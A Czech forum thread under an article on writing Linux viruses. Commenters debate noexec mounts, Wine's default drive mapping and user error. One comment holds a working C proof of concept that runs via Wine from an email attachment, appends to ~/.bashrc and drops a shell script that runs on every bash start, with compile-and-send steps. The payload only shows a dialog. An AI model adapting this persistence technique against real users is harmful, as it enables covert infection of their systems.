Vlákno názorů k článku
Jak napsat linuxový virus v pěti krocích od Izak - No tak prijde vir postou, kazdy klient mu...

No tak prijde vir postou, kazdy klient mu neda pravo pro spusteni, tedy by musel prijit v TAR souboru.

Kdy budu hodne skaredy, tak vezmu svazku /home prava pro spusteni souboru .... a jsem kde vazeni ;-))) ... jeste existuje /tmp jenze to by se nejdrive muselo neco zpustit ;-))

Takze jsme kde vazeni ?

Četl jsi ten článek?

> Kdy budu hodne skaredy, tak vezmu svazku /home prava pro spusteni souboru

Ale já mám docela rád svůj vlastní ~/bin/ adresář.

To neni problem, je mozne mit ten ~/bin/ namountovany jako jiny souborovy system (pres loopback, pres tmpfs ...) a zaroven zachovat zbytek /home nespostitelny.

Bohuzel to nepomuze pri popisovanem typu utoku, ponevac veci spoustene dekstopovym prostedim pri startu nemusi mit priznak spustitelnosti.

Zas takovy problem to neni, staci mit nainstalovane a defaultne nakonfigurovane wine (kolik procent uzivatelu napr. ubuntu to takhle ma?), jako prilohu poslat windowsi exe (nejak atraktivne pojmenovane), ktere zapise neco do .bashrc a pruser je na svete... (samozrejme musite mit nastavenou asociaci .exe -> wine a nejaky emailovy klient, ktery ty asociace pouziva, ale to myslim v defaultnim ubuntu taky bude)

Napr. takto (vyzaduje nainstalovane wine v defaultni konfiguraci a Xdialog):

#include <stdio.h>

int main(int argc, char **argv)
{
char buf[4096];
snprintf(buf, 4096, "Z:\\home\\%s\\.bashrc", getenv("USERNAME"));
char buf2[4096];
snprintf(buf2, 4096, "Z:\\home\\%s\\.virustest.sh", getenv("USERNAME"));
FILE *f = fopen(buf, "a");
fprintf(f, "/bin/sh /home/%s/.virustest.sh \n", getenv("USERNAME"));
fclose(f);
f = fopen(buf2, "w");
fprintf(f, "#!/bin/bash \n");
fprintf(f, "Xdialog --msgbox \"Ahoj\" 0 0 \n");
fclose(f);
return 0;
}

Zkuste si to zkompilovat, nainstalovat si wine a xdialog, poslat si to postou a spustit to.. pak pri kazdem spusteni bashe dostanete xdialogovou hlasku "Ahoj"...

V případě že má WINE přístup do ~ tak je to průser. U mě to nemá :-) Co se BFU týče tak s Linuxem je to stejně jako s jimým OS. Největší bezpečnostní riziko se nachází mezi klávesnicí a židlí. Linux je odolnější proti útokům ze sítě, a pokud je dobře nakonfigurovaný tak i proti BFU. Pokud je dobře nakonfigurovaný. V případě že před ním sedí BFU s právem roota (nebo sudo), který automaticky kliká na Ano, tak je na tom Linux skoro stejně jako Windows. To skoro proto, že přece jenom Linux trochu více hraje na práva a snaží se to uživateli co nejvíce vymlouvat (varovaní v případě přihlášení jako root, či některé systémy, které roota ani nemají).

Jak už kdysi dávno jeden klasik řekl: "Na světě jsou poze dvě veci, které mohou být nekonečné. Vesmír a lidská blbost, ale s tím vesmírem si nejsem až zase tak jistý."

Ono problémem wine je, že když si při prvním spuštění generuje konfirguraci, tak si vytvoří disk Z: který mapuje přímo /. Díky tomu může wine spouštět i věci z tempu a odkudkoliv z disku... Je to pohodlné a přitom značně nebezpečné. Naštěstí wine není typicky asociován s windows soubory... tak zatím aspoň tak.

Bohuzel, pristup do ~ wine defaultne ma.